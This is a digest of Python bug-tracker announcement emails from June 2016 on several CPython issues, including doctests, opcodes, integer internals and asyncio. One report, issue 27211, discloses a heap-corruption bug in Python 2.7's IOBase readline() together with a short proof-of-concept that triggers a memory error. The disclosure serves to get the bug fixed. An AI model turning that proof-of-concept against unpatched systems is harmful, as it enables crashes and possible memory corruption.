Subject: [New-bugs-announce] [issue27201] expose the ABI name as a config variable Message-ID: <1464993442.58.0.656419844053.issue27201@psf.upfronthosting.co.za> New submission from Matthias Klose: Some python extensions provide/rely on support libraries which are shipped in addition to the extension module, and which depend on the Python ABI (version and ABI flags). talloc is such an example, and it currently uses the SOABI as the symbol version for symbols exported in such a support library. In 3.5 and 3.6, the SOABI includes the architecture definition as well, so you end up with different symbol versions and library names across architectures, which is not wanted. Therefore expose just the ABI in a new macro. Now choosen ABINAME, but that could be something different as well. ---------- components: Build files: abiname.diff keywords: patch messages: 267181 nosy: doko, ncoghlan priority: normal severity: normal status: open title: expose the ABI name as a config variable versions: Python 3.6 Added file: http://bugs.python.org/file43167/abiname.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 20:04:06 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 00:04:06 +0000 Subject: [New-bugs-announce] [issue27202] make doctest fails on 2.7 release notes Message-ID: <1464998646.05.0.234628246633.issue27202@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: Running `make doctest` in the Doc/ repository of master fails on the 2.7 release notes. This patch excludes these files from `make doctest`, because it doesn't seem worth it to try to get these running in Python 3. ---------- assignee: docs at python components: Documentation files: no27doctests.patch keywords: patch messages: 267190 nosy: Jelle Zijlstra, docs at python priority: normal severity: normal status: open title: make doctest fails on 2.7 release notes versions: Python 3.6 Added file: http://bugs.python.org/file43170/no27doctests.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 20:19:52 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 00:19:52 +0000 Subject: [New-bugs-announce] [issue27203] Failing doctests in Doc/faq/programming.rst Message-ID: <1464999592.59.0.0136488038508.issue27203@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: Patch attached. Added testsetup for the shared A variable and skipped doctests that rely on the return value of id(). ---------- files: faqdoctests.patch keywords: patch messages: 267197 nosy: Jelle Zijlstra priority: normal severity: normal status: open title: Failing doctests in Doc/faq/programming.rst Added file: http://bugs.python.org/file43173/faqdoctests.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 20:23:33 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 00:23:33 +0000 Subject: [New-bugs-announce] [issue27204] Failing doctests in Doc/howto/ Message-ID: <1464999813.26.0.380989633833.issue27204@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: Patch adds some imports, fixes doctests syntax, and skips Py2-only code. ---------- files: doctests-howto.patch keywords: patch messages: 267198 nosy: Jelle Zijlstra priority: normal severity: normal status: open title: Failing doctests in Doc/howto/ Added file: http://bugs.python.org/file43174/doctests-howto.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 20:27:00 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 00:27:00 +0000 Subject: [New-bugs-announce] [issue27205] Failing doctests in Library/collections.rst Message-ID: <1465000020.63.0.799580126218.issue27205@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: Mostly due to unspecified sorting order. The patch sorts a few tests and skips others that can't easily be sorted (e.g. most_common and str() output). ---------- assignee: docs at python components: Documentation files: doctests-collections.patch keywords: patch messages: 267199 nosy: Jelle Zijlstra, docs at python priority: normal severity: normal status: open title: Failing doctests in Library/collections.rst versions: Python 3.6 Added file: http://bugs.python.org/file43175/doctests-collections.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 20:35:11 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 00:35:11 +0000 Subject: [New-bugs-announce] [issue27206] Failing doctests in Doc/tutorial/ Message-ID: <1465000511.18.0.692311972692.issue27206@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: Patch adds an import. ---------- assignee: docs at python components: Documentation files: doctests-tutorial.patch keywords: patch messages: 267202 nosy: Jelle Zijlstra, docs at python priority: normal severity: normal status: open title: Failing doctests in Doc/tutorial/ versions: Python 3.6 Added file: http://bugs.python.org/file43176/doctests-tutorial.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 20:37:53 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 00:37:53 +0000 Subject: [New-bugs-announce] [issue27207] Failing doctests in Doc/whatsnew/3.2.rst Message-ID: <1465000673.79.0.877090352163.issue27207@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: Mostly missing imports, some bad syntax, and a few typos. This patch fixes most but not all errors. ---------- assignee: docs at python components: Documentation files: doctests-whatsnew-32.patch keywords: patch messages: 267203 nosy: Jelle Zijlstra, docs at python priority: normal severity: normal status: open title: Failing doctests in Doc/whatsnew/3.2.rst versions: Python 3.6 Added file: http://bugs.python.org/file43177/doctests-whatsnew-32.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 20:41:56 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 00:41:56 +0000 Subject: [New-bugs-announce] [issue27208] Failing doctests in Library/traceback.rst Message-ID: <1465000916.52.0.195426294226.issue27208@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: Updated to the output of current 3.6. ---------- assignee: docs at python components: Documentation files: doctests-traceback.patch keywords: patch messages: 267205 nosy: Jelle Zijlstra, docs at python priority: normal severity: normal status: open title: Failing doctests in Library/traceback.rst versions: Python 3.6 Added file: http://bugs.python.org/file43178/doctests-traceback.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 20:43:48 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 00:43:48 +0000 Subject: [New-bugs-announce] [issue27209] Failing doctests in Library/email.*.rst Message-ID: <1465001028.4.0.215960647749.issue27209@psf.upfronthosting.co.za> Changes by Jelle Zijlstra : ---------- assignee: docs at python components: Documentation files: doctests-email.patch keywords: patch nosy: Jelle Zijlstra, docs at python priority: normal severity: normal status: open title: Failing doctests in Library/email.*.rst versions: Python 3.6 Added file: http://bugs.python.org/file43179/doctests-email.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 20:46:55 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 00:46:55 +0000 Subject: [New-bugs-announce] [issue27210] Failing doctests due to environmental dependencies in Lib/*lib.rst Message-ID: <1465001215.61.0.0775726145069.issue27210@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: The difflib test fails because "False" is close enough to "apple". The ftplib and nntplib tests rely on things downloaded from the web that are inherently variable. ---------- assignee: docs at python components: Documentation files: doctests-libs.patch keywords: patch messages: 267208 nosy: Jelle Zijlstra, docs at python priority: normal severity: normal status: open title: Failing doctests due to environmental dependencies in Lib/*lib.rst versions: Python 3.6 Added file: http://bugs.python.org/file43181/doctests-libs.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 01:18:45 2016 From: report at bugs.python.org (Benjamin Peterson) Date: Sat, 04 Jun 2016 05:18:45 +0000 Subject: [New-bugs-announce] [issue27211] Heap corruption via Python 2.7.11 IOBase readline() Message-ID: <1465017525.1.0.917023415627.issue27211@psf.upfronthosting.co.za> New submission from Benjamin Peterson: Guido Vranken on PSRT report: Python-2.7.11/Modules/_io/iobase.c iobase_readline(): 531 old_size = PyByteArray_GET_SIZE(buffer); 532 PyByteArray_Resize(buffer, old_size + PyBytes_GET_SIZE(b)); 533 memcpy(PyByteArray_AS_STRING(buffer) + old_size, 534 PyBytes_AS_STRING(b), PyBytes_GET_SIZE(b)); PyByteArray_Resize() relies on realloc(), and thus can fail if there is insufficient memory. However, the return value of PyByteArray_Resize() is not checked in iobase_readline(). So if PyByteArray_Resize() fails, the memory area is too small for the data that memcpy will write. Proof Of Concept ---------------- First create a file with very long lines: with open('out.xxx', 'wb') as fp: fp.write('x' * (1024*1024*64)) fp.write('\n') Zip it: $ zip out.xxx.zip out.xxx Set a smallish memory limit $ ulimit -Sv 70000 Then run: import zipfile zf = zipfile.ZipFile('out.xxx.zip', 'r') f = zf.open('out.xxx') r = "x" * (1024*1024*20) f.readline() r = "" ---------------- For me this configuration resulted in *** Error in `./python': realloc(): invalid next size: 0x00000000024b2f20 *** Aborted You might need to experiment a bit with the parameters (length of lines, size of 'r', ulimit) to get a similar result. But there is a bug there. Let me know if you need more information from me. ---------- messages: 267231 nosy: benjamin.peterson priority: normal severity: normal status: open title: Heap corruption via Python 2.7.11 IOBase readline() type: security versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 01:33:46 2016 From: report at bugs.python.org (alex0307) Date: Sat, 04 Jun 2016 05:33:46 +0000 Subject: [New-bugs-announce] [issue27212] Doc for itertools, 'islice()' implementation have unwanted behavior for recipe 'consume()' Message-ID: <1465018426.98.0.63725897135.issue27212@psf.upfronthosting.co.za> New submission from alex0307: In the doc for itertools, the python implementation of islice() doesn't actually perform the iteration when given an empty slice (e.g. islice(it,3,3)). This is not the expected behavior for 'consume()' in the recipe given below, i.e. consume(it,3) couldn't actually advance the iterator for 3 steps ahead. Instead, the iterator stays at its starting position. As a simple fix, in the implementation of islice(), the length of the slice object should be checked first. If it's zero, the iterator should be advanced (slice.start-1) times, and return (See islice_my.py) ---------- assignee: docs at python components: Documentation files: islice_my.py messages: 267236 nosy: alex0307, docs at python priority: normal severity: normal status: open title: Doc for itertools, 'islice()' implementation have unwanted behavior for recipe 'consume()' type: behavior versions: Python 2.7 Added file: http://bugs.python.org/file43184/islice_my.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 03:45:34 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Jun 2016 07:45:34 +0000 Subject: [New-bugs-announce] [issue27213] Rework CALL_FUNCTION* opcodes Message-ID: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Currently there are 4 opcodes (CALL_FUNCTION, CALL_FUNCTION_VAR, CALL_FUNCTION_KW, CALL_FUNCTION_VAR_KW) for calling a function depending of presenting the var-positional and var-keyword arguments: func(arg1, ..., argN, name1=kwarg1, ..., nameM=kwargM) func(arg1, ..., argN, *args, name1=kwarg1, ..., nameM=kwargM) func(arg1, ..., argN, name1=kwarg1, ..., nameM=kwargM, **kwargs) func(arg1, ..., argN, *args, name1=kwarg1, ..., nameM=kwargM, **kwargs) The number of positional and keyword arguments are packed in oparg, and both numbers are limited by 255. Thus the single keyword argument makes oparg not fitting in 8 bit and requires EXTENDED_ARG. The stack contains first positional arguments, then optional args tuple, then keyword arguments, then optional kwargs dict. For every keyword argument the two values are pushed on the stack: argument name (always constant string) and argument value. I collected a statistic about opcodes in compiled code during running Python tests [1] (maybe it is biased, but this is large and multifarious assembly, and I hope it takes some representation about average Python code). According to it about 90% of compiled function calls are calls with the fixed number of positional arguments (CALL_FUNCTION with oparg < 256), the rest 10% are calls with the fixed number of positional and keyword arguments (CALL_FUNCTION with oparg >= 256), and only about 0.5% are calls with the var-positional or var-keyword arguments. I propose to use the different sets of opcodes that corresponds to these cases: func(arg1, ..., argN) func(arg1, ..., argN, name1=kwarg1, ..., nameM=kwargM) func(*args, **kwargs) 1. CALL_FUNCTION takes the fixed number of positional arguments. oparg is the number of arguments. The stack contains positional arguments. 2. CALL_FUNCTION_KW takes the fixed number of positional and keyword arguments. oparg is the number of all arguments. The stack contains values of arguments (first positional, then keyword), then a tuple of keyword names (as in proposed new opcode BUILD_CONST_KEY_MAP in issue27140). 3. CALL_FUNCTION_EX takes the variable number of positional and keyword arguments. oparg is 0. The stack contains a tuple of positional arguments and a dict of keyword arguments (they are build in the bytecode with using BUILD_TUPLE, BUILD_CONST_KEY_MAP, BUILD_LIST_UNPACK and BUILD_MAP_UNPACK_WITH_CALL). This is the most general variant, others exist just for the optimization of common cases. Benefits: 1. Calling a function with keyword arguments uses less stack and less LOAD_CONST instructions. 2. Calling a function with keyword arguments no longer needs EXTENDED_ARG. 3. The number of positional and keyword arguments is no longer limited by 255 (at least not in the bytecode). 4. The bytecode looks simpler, oparg always is just the number of arguments taken from the stack. This proposition was discussed on Python-Ideas [2]. [1] http://permalink.gmane.org/gmane.comp.python.ideas/39993 [2] http://comments.gmane.org/gmane.comp.python.ideas/39961 ---------- components: Interpreter Core messages: 267241 nosy: serhiy.storchaka priority: normal severity: normal status: open title: Rework CALL_FUNCTION* opcodes type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 04:05:36 2016 From: report at bugs.python.org (Oren Milman) Date: Sat, 04 Jun 2016 08:05:36 +0000 Subject: [New-bugs-announce] [issue27214] a potential future bug and an optimization that mostly undermines performance in long_invert Message-ID: <1465027536.85.0.992865355802.issue27214@psf.upfronthosting.co.za> New submission from Oren Milman: ------------ the current state ------------ long_invert first checks whether v is a single-digit int. If it is, it simply does 'return PyLong_FromLong(-(MEDIUM_VALUE(v) + 1));'. Otherwise, long_invert does (edited for brevity) 'x = long_add(v, PyLong_FromLong(1));', and then negates x in-place. In other words, long_invert assumes long_add hasn't returned a reference to an element of small_ints. However, if all of the following conditions are true: * NSMALLNEGINTS is maximized (i.e. NSMALLNEGINTS == 2 ** PyLong_SHIFT - 1). * long_add is changed in such a way that if someone does (in Python) '-2 ** PyLong_SHIFT + 1' while NSMALLNEGINTS is maximized, long_add would return a reference to an element of small_ints. (Actually, I have recently opened an issue that proposes such a change - http://bugs.python.org/issue27145.) * long_invert is called for (-2 ** PyLong_SHIFT). Then long_invert would negate in-place an element of small_ints. In addition, because long_invert first checks whether v is a single-digit int, calling maybe_small_long before returning would save up memory only in case both of the following conditions are true: * NSMALLPOSINTS is maximized (i.e. NSMALLPOSINTS == 2 ** PyLong_SHIFT). * long_invert is called for (-2 ** PyLong_SHIFT). So the call to maybe_small_long introduces a performance penalty for every case where v is a multiple-digit int (and long_invert doesn't fail), while the only case where it actually saves up memory is the aforementioned corner case. ------------ the proposed changes ------------ Both of the proposed changes are in Objects/longobject.c in long_invert: 1. Replace the in-place negation with a call to _PyLong_Negate, which safely negates an int. 2. Remove the call to maybe_small_long. maybe_small_long was added to long_invert in revision 48567, as part of an effort to wipe out different places in the code where small_ints could be used (and saved up memory), but was not. I am not sure why maybe_small_long was also added to long_invert back then, even though it mostly undermines performance. ------------ diff ------------ The patches diff is attached. ------------ tests ------------ I built the patched CPython for x86, and played with it a little. Everything seemed to work as usual. In addition, I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output. the outputs of both runs are attached. ---------- components: Interpreter Core files: proposedPatches.diff keywords: patch messages: 267244 nosy: Oren Milman priority: normal severity: normal status: open title: a potential future bug and an optimization that mostly undermines performance in long_invert type: performance Added file: http://bugs.python.org/file43186/proposedPatches.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 05:20:17 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 04 Jun 2016 09:20:17 +0000 Subject: [New-bugs-announce] [issue27215] Docstrings of Sequence and MutableSequence seems not right Message-ID: <1465032017.04.0.0861396062626.issue27215@psf.upfronthosting.co.za> New submission from Xiang Zhang: Docstrings of Sequence and MutableSequence in collections.abc says "Concrete subclasses must provide __new__ and __init__". This seems not the truth. Not providing __new__ and __init__ is also OK. ---------- messages: 267249 nosy: rhettinger, xiang.zhang priority: normal severity: normal status: open title: Docstrings of Sequence and MutableSequence seems not right _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 06:11:25 2016 From: report at bugs.python.org (Alex Chan) Date: Sat, 04 Jun 2016 10:11:25 +0000 Subject: [New-bugs-announce] [issue27216] Fix capitalisation of "Python runtime" in os.path.islink description Message-ID: <1465035085.6.0.0369586412077.issue27216@psf.upfronthosting.co.za> New submission from Alex Chan: Since Python is a proper noun, it should be capitalised. Fix a case where the docs used lowercase "python". The phrase "by the python runtime" was added in the 2.7 docs; the 2.6 docs just say "if symbolic links are not supported". ---------- assignee: docs at python components: Documentation files: capitalisation.patch keywords: patch messages: 267251 nosy: alexwlchan, docs at python priority: normal severity: normal status: open title: Fix capitalisation of "Python runtime" in os.path.islink description type: enhancement versions: Python 2.7 Added file: http://bugs.python.org/file43194/capitalisation.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 11:07:25 2016 From: report at bugs.python.org (Glenn Travis) Date: Sat, 04 Jun 2016 15:07:25 +0000 Subject: [New-bugs-announce] [issue27217] IDLE 3.5.1 not using Tk 8.6 Message-ID: <1465052845.59.0.651456701711.issue27217@psf.upfronthosting.co.za> New submission from Glenn Travis: I do not know if this is truly an issue, but it is a concern to me. I installed Tk 8.6 after reading all the Macintosh OS warnings online and in the IDLE window. However, according to the About IDLE box, IDLE is still "using" 8.5; and the warning still appears when I open IDLE. I may have missed it, but I did not see any way update IDLE or some Unix file to correct this in the online documentation. ---------- files: About IDLE.png messages: 267255 nosy: Old Sub Sailor priority: normal severity: normal status: open title: IDLE 3.5.1 not using Tk 8.6 type: resource usage Added file: http://bugs.python.org/file43196/About IDLE.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 12:27:47 2016 From: report at bugs.python.org (Xavier de Gaye) Date: Sat, 04 Jun 2016 16:27:47 +0000 Subject: [New-bugs-announce] [issue27218] improve tracing performance with f_trace set to Py_None Message-ID: <1465057667.55.0.463895492434.issue27218@psf.upfronthosting.co.za> New submission from Xavier de Gaye: When a trace function set by sys.settrace() returns None, tracing of the current scope should stop, but this feature is not implemented (issue 11992). Currently f_trace is never set to Py_None. Setting f_trace to Py_None in trace_trampoline() when the trace function returns Py_None provides a way to avoid the costly calls to maybe_call_line_trace() that are made for each line in this scope even though the trace function is not called. This idea was initiated in issue 20041. ---------- components: Library (Lib) messages: 267262 nosy: georg.brandl, xdegaye priority: normal severity: normal status: open title: improve tracing performance with f_trace set to Py_None type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 12:29:00 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 04 Jun 2016 16:29:00 +0000 Subject: [New-bugs-announce] [issue27219] turtle.fillcolor doesn't accept a tuple of floats Message-ID: <1465057740.31.0.354444599914.issue27219@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: But `turtle.pencolor()` returns a tuple of floats, so calling `turtle.fillcolor(turtle.pencolor())`. This issue shows up in the doctest at library/turtle.rst line 936. I can submit a patch with tests once the tests in issue21916 are in. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 267263 nosy: Jelle Zijlstra priority: normal severity: normal status: open title: turtle.fillcolor doesn't accept a tuple of floats versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 13:07:44 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sat, 04 Jun 2016 17:07:44 +0000 Subject: [New-bugs-announce] [issue27220] Add a pure Python version of 'collections.defaultdict' Message-ID: <1465060064.38.0.412706275461.issue27220@psf.upfronthosting.co.za> New submission from Emanuel Barry: Attached patch adds a pure Python version of `collections.defaultdict`. This is yet another step in providing better support for alternate implementations, which may or may not have `_collections`. I also went ahead and fixed __all__ so that `from collections import *` doesn't fail if 'deque' isn't present (which it may not be in alternate implementations). Patch includes (small) doc and test changes. All tests pass successfully for both versions. ---------- components: Library (Lib) files: py_defaultdict_1.patch keywords: patch messages: 267276 nosy: ebarry, rhettinger priority: normal severity: normal stage: patch review status: open title: Add a pure Python version of 'collections.defaultdict' type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43200/py_defaultdict_1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 15:42:42 2016 From: report at bugs.python.org (Memeplex) Date: Sat, 04 Jun 2016 19:42:42 +0000 Subject: [New-bugs-announce] [issue27221] [multiprocessing] Doc is outdated regarding method picklability Message-ID: <1465069362.83.0.142351405451.issue27221@psf.upfronthosting.co.za> New submission from Memeplex: The module documentation recommends... More picklability Ensure that all arguments to Process.__init__() are picklable. This means, in particular, that bound or unbound methods cannot be used directly as the target (unless you use the fork start method) ? just define a function and use that instead. ...but methods (bound and unbound) are now pickleable (given their self.object is picklable). ---------- assignee: docs at python components: Documentation messages: 267303 nosy: docs at python, memeplex priority: normal severity: normal status: open title: [multiprocessing] Doc is outdated regarding method picklability versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 15:54:27 2016 From: report at bugs.python.org (Oren Milman) Date: Sat, 04 Jun 2016 19:54:27 +0000 Subject: [New-bugs-announce] [issue27222] redundant checks and a weird use of goto statements in long_rshift Message-ID: <1465070067.21.0.305651029523.issue27222@psf.upfronthosting.co.za> New submission from Oren Milman: ------------ current state ------------ 1. long_rshift first checks whether a is a negative int. If it is, it does (edited for brevity) 'z = long_invert(long_rshift(long_invert(a), b));'. Otherwise, it calculates the result of the shift and stores it in z. In this block, there is a check whether a is a negative int. The second check was always there - since revision 443, in which long_rshift was first added. However, in revision 590, the first aforementioned check (whether a is a negative int), along with a (edited for brevity) 'return long_invert(long_rshift(long_invert(a), b));' were added, but the second check whether a is a negative int wasn't removed, and remained there to this day. 2. Ultimately, long_rshift does 'return (PyObject *) maybe_small_long(z);' for both cases (whether a is a negative int or not). Calling maybe_small_long in case a is a negative int is redundant, as long_invert returns (in case it doesn't fail) by either doing 'return PyLong_FromLong(-(MEDIUM_VALUE(v)+1));' or 'return (PyObject *)maybe_small_long(x);'. In both cases, long_invert would return a reference to an element of small_ints if it should. Calls to maybe_small_long were added both to long_rshift and long_invert in revision 48567, as part of an effort to wipe out different places in the code where small_ints could be used (to save up memory), but was not. I am not sure why maybe_small_long was added to long_rshift where it would be redundant in case a is a negative int. 3. In different cases of failure, long_rshift does 'goto rshift_error;'. The destination of these goto statements is actually a return statement that would also be reached in almost any case of success (except for a certain case in which the result of the shift is obviously zero). That goto was added in revision 15725. Back then, CONVERT_BINOP was added, and calling it in long_rshift required calling Py_DECREF for a and b before returning. Later on, in revision 43313, CONVERT_BINOP was removed, along with the calls to Py_DECREF it required, but the goto was left untouched, and remained there to this day. ------------ proposed changes ------------ All of the proposed changes are in Objects/longobject.c in long_rshift: 1. Remove the check whether a is a negative int in the block that gets executed in case a is not a negative int. 2. Move the call to maybe_small_long inside the block that runs in case a is not a negative int. 3. Replace every 'goto rshift_error;' with a 'return NULL;', and remove the rshift_error label. I could have kept the goto statements, with 'return (PyObject *)z;' as their destination, but I believe it would have been less clear. Also, there are many similar places in longobject.c where 'return NULL;' is done on failure. ------------ diff ------------ The proposed patches diff file is attached. ------------ tests ------------ I built the patched CPython for x86, and played with it a little. Everything seemed to work as usual. Specifically, I did: for i in range(10000): if not all(smallInt is ((smallInt << i) >> i) for ( smallInt) in range(-5, 257)): break print(i) And indeed 9999 was printed. In addition, I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output. the outputs of both runs are attached. ---------- components: Interpreter Core files: proposedPatches.diff keywords: patch messages: 267308 nosy: Oren Milman priority: normal severity: normal status: open title: redundant checks and a weird use of goto statements in long_rshift type: performance Added file: http://bugs.python.org/file43207/proposedPatches.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 21:20:33 2016 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 05 Jun 2016 01:20:33 +0000 Subject: [New-bugs-announce] [issue27223] _ready_ready and _write_ready should respect _conn_lost Message-ID: <1465089633.03.0.133113775178.issue27223@psf.upfronthosting.co.za> New submission from ?ukasz Langa: Currently _read_ready and _write_ready callbacks do not respect _conn_lost, which makes them vulnerable to the following race condition: - the client protocol connects to a server - the client protocol sends some data - the server sends some data back - in the mean time, something causes the connection to be lost and that information gets handled by the client protocol first - the client transport receives _read_ready but now the connection is already marked as lost and cleared on the transport This causes an ugly exception to be raised: Exception in callback _SelectorSocketTransport._read_ready() handle: Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/asyncio/selector_events.py", line 664, in _read_ready data = self._sock.recv(self.max_size) AttributeError: 'NoneType' object has no attribute 'recv' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/asyncio/events.py", line 125, in _run self._callback(*self._args) File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/asyncio/selector_events.py", line 668, in _read_ready self._fatal_error(exc, 'Fatal read error on socket transport') File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/asyncio/selector_events.py", line 587, in _fatal_error self._loop.call_exception_handler({ AttributeError: 'NoneType' object has no attribute 'call_exception_handler' This can be reproduced by running srv.py and cli.py attached here. Since this is an event loop timing issue, it might take a few tries of cli.py to the issue to surface. I get it to repro more consistently with PYTHONASYNCIODEBUG=1. In production I get this issue most often when there's a torrent of simultaneous connections being created while existing protocol connections are already being handled. To fix this, I propose to add guards for _conn_lost on both _ready_ready and _write_ready. See attached patch. This doesn't break any existing assumptions because we can't really respond to I/O events on a connection that's reset. The patch also changes 3 existing unit tests, which I believe are currently invalid. test_write_ready_exception_close simulates filling the buffer and calling _write_ready after the transport has been closed. This means _call_connection_lost has been called and now _sock is None and _loop is None. We'd have AttributeError raised (like in the traceback above) and not OSError like the test believes. That would cause the same except clause to be invoked but then (like in the traceback above) _fatal_error fails due to _loop being None. I renamed the test test_transport_close_remove_writer and removed the _write_ready assumptions in it. test_write_ready_send_closing required a change so that the buffer is non-empty BEFORE transport.close() is called. In this case close() doesn't remove the writer and schedule connection_lost. Instead, this is done by _write_ready after the write has been sent out. I also removed the following assert: `self.assertFalse(self.loop.writers)` because it's true during the entire execution of the test (in other words, checks nothing). test_write_ready_send_closing_empty_buffer checks for _call_connection_lost to be called but in fact _call_connection_lost is scheduled to be called_soon in transport.close(). I changed the test to reflect this. ---------- assignee: lukasz.langa components: asyncio messages: 267360 nosy: asvetlov, gvanrossum, haypo, lukasz.langa, yselivanov priority: normal severity: normal status: open title: _ready_ready and _write_ready should respect _conn_lost versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 4 22:32:32 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 05 Jun 2016 02:32:32 +0000 Subject: [New-bugs-announce] [issue27224] IDLE: editor versus grep line number differ Message-ID: <1465093952.02.0.213444129237.issue27224@psf.upfronthosting.co.za> New submission from Terry J. Reedy: In IDLE 3.6, open idlelib.macosx (^M easiest). Open Find in Files dialog (Alt-F3), enter 'isAquaTk' (without quotes), and go. Output for me currently looks like ...\idlelib\macosx.py: 9: warnings.warn("runningAsOSXApp() is deprecated, use isAquaTk()", ...\idlelib\macosx.py: 11: return isAquaTk() ...\idlelib\macosx.py: 23: isAquaTk(), isCarbonTk(), isCocoaTk()... ...\idlelib\macosx.py: 39: def isAquaTk(): ...\idlelib\macosx.py: 226: isAquaTk(), isCarbonTk(), isCocoaTk()... ...\idlelib\macosx.py: 230: if isAquaTk(): The first 4 line numbers are correct. The last two should be 232 and 236 to match the editor. Or the editor numbers should be 226 and 230 to match grep. I have not yet tried to cound to see which is correct, or look to see if there are long or continued lines that might throw one count off. I should copy the file and delete lines between 39 and 226. ---------- messages: 267365 nosy: terry.reedy priority: normal severity: normal stage: test needed status: open title: IDLE: editor versus grep line number differ type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 01:09:44 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sun, 05 Jun 2016 05:09:44 +0000 Subject: [New-bugs-announce] [issue27225] Potential refleak in type_new when setting __new__ fails Message-ID: <1465103384.56.0.665508256655.issue27225@psf.upfronthosting.co.za> New submission from Xiang Zhang: As the title, there seems to be a potential refleak in type_new when setting __new__ fails. ---------- files: refleak_in_type_new.patch keywords: patch messages: 267382 nosy: xiang.zhang priority: normal severity: normal status: open title: Potential refleak in type_new when setting __new__ fails versions: Python 3.6 Added file: http://bugs.python.org/file43227/refleak_in_type_new.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 02:03:29 2016 From: report at bugs.python.org (=?utf-8?b?TWljaGHFgiBHw7Nybnk=?=) Date: Sun, 05 Jun 2016 06:03:29 +0000 Subject: [New-bugs-announce] [issue27226] distutils: unable to compile both .opt-1.pyc and .opt2.pyc simultaneously Message-ID: <1465106608.99.0.622112847685.issue27226@psf.upfronthosting.co.za> New submission from Micha? G?rny: Since 3.5, optimized Python modules for -O and -OO are installed using different names. The Python build system itself seems to been prepared for this as Python itself is built with both .opt-1.pyc and .opt-2.pyc files built. However, distutils at the moment can only install one of them. Gentoo is relying on 'setup.py install --compile -O2' doing the right thing. We can change the arguments if necessary but calling it twice would require a lot of conditional changes to how we build packages. Of course, not installing both variants is not an option since it causes Python to attempt to write them at runtime later. Could we please get some way to build both .opt-1.pyc and .opt-2.pyc in setup.py install? Either through making -O2 build also -O1 implicitly, or providing an ability to specify multiple optimization levels. Relevant Gentoo bug: https://bugs.gentoo.org/585060 ---------- components: Distutils messages: 267389 nosy: dstufft, eric.araujo, mgorny priority: normal severity: normal status: open title: distutils: unable to compile both .opt-1.pyc and .opt2.pyc simultaneously type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 04:59:16 2016 From: report at bugs.python.org (Evan) Date: Sun, 05 Jun 2016 08:59:16 +0000 Subject: [New-bugs-announce] [issue27227] argparse fails to parse [] when using choices and nargs='*' Message-ID: <1465117156.8.0.428303445441.issue27227@psf.upfronthosting.co.za> New submission from Evan: 